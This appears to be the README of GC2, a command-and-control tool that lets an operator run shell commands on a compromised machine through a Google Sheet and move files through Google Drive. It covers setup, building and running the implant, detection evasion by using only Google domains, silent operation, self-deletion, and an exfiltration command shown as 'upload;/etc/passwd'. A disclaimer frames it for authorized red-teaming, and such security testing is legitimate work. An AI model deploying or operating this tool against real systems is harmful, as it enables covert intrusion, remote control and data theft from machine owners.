GC2

GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrates data using Google Drive.

Why

This project has been developed to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, ...) during Red Teaming activities.

Furthermore, the program will interact only with Google's domains (*.google.com) to make detection more difficult.

Set up

1. Create a new Google "service account"

   Create a new Google "service account" using https://console.cloud.google.com/, create a .json key file for the service account

2. Enable Google Sheet API and Google Drive API

   Enable Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api and Google Sheet API https://developers.google.com/sheets/api/quickstart/go

3. Set up Google Sheet and Google Drive

   Create a new Google Sheet and add the service account to the editor group of the spreadsheet (to add the service account use its email)

   

   Create a new Google Drive folder and add the service account to the editor group of the folder (to add the service account use its email)

   

4. Download the C2

   The C2 can be cloned directly from GitHub:

   git clone https://github.com/looCiprian/GC2-sheet
   cd GC2-sheet
   

5. Configure the C2

   The preferred way to configure the C2 is by modifying the options.yml file inside the cmd directory.

   The options.yml file is structured as follows:

   key: # escaped JSON key
   sheet: # sheetID
   drive: # driveID
   proxy: # proxy string
   verbose: # verbose true or false
   

6. Build executable

   go build gc2-sheet.go
   

7. Run

   If the configuration file has been modified just run:

   ./gc2-sheet
   

   Otherwise, it is possible to use the command options after compiling the C2 (this option will be deprecated soon):

   gc2-sheet --key <GCP service account credential file .JSON > --sheet <Google sheet ID> --drive <Google drive ID>
   

Troubleshooting

Most of the errors can be detected by setting the verbose flag to true. By default, the C2 does not generate any output or error information.

Features

• Command execution using Google Sheet as a console
• Download files on the target using Google Drive
• Data exfiltration using Google Drive
• Exit

Command execution

The program will perform a request to the spreedsheet every 5 sec to check if there are some new commands. Commands must be inserted in column A, and the output will be printed in the column B.

Data exfiltration file

Special commands are reserved to perform the upload and download to the target machine

From Target to Google Drive
upload;<remote path>
Example:
upload;/etc/passwd

Download file

Special commands are reserved to perform the upload and download to the target machine

From Google Drive to Target
download;<google drive file id>;<remote path>
Example:
download;<file ID>;/home/user/downloaded.txt

Exit

By sending the command exit, the program will delete itself from the target and kill its process

PS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case, the symlink is deleted.

Workflow

Demo

Demo

Demo by Grant Collins

Disclaimer

The owner of this project is not responsible for any illegal usage of this program.

This is an open source project meant to be used with authorization to assess the security posture and for research purposes.

The final user is solely responsible for their actions and decisions. The use of this project is at your own risk. The owner of this project does not accept any liability for any loss or damage caused by the use of this project.

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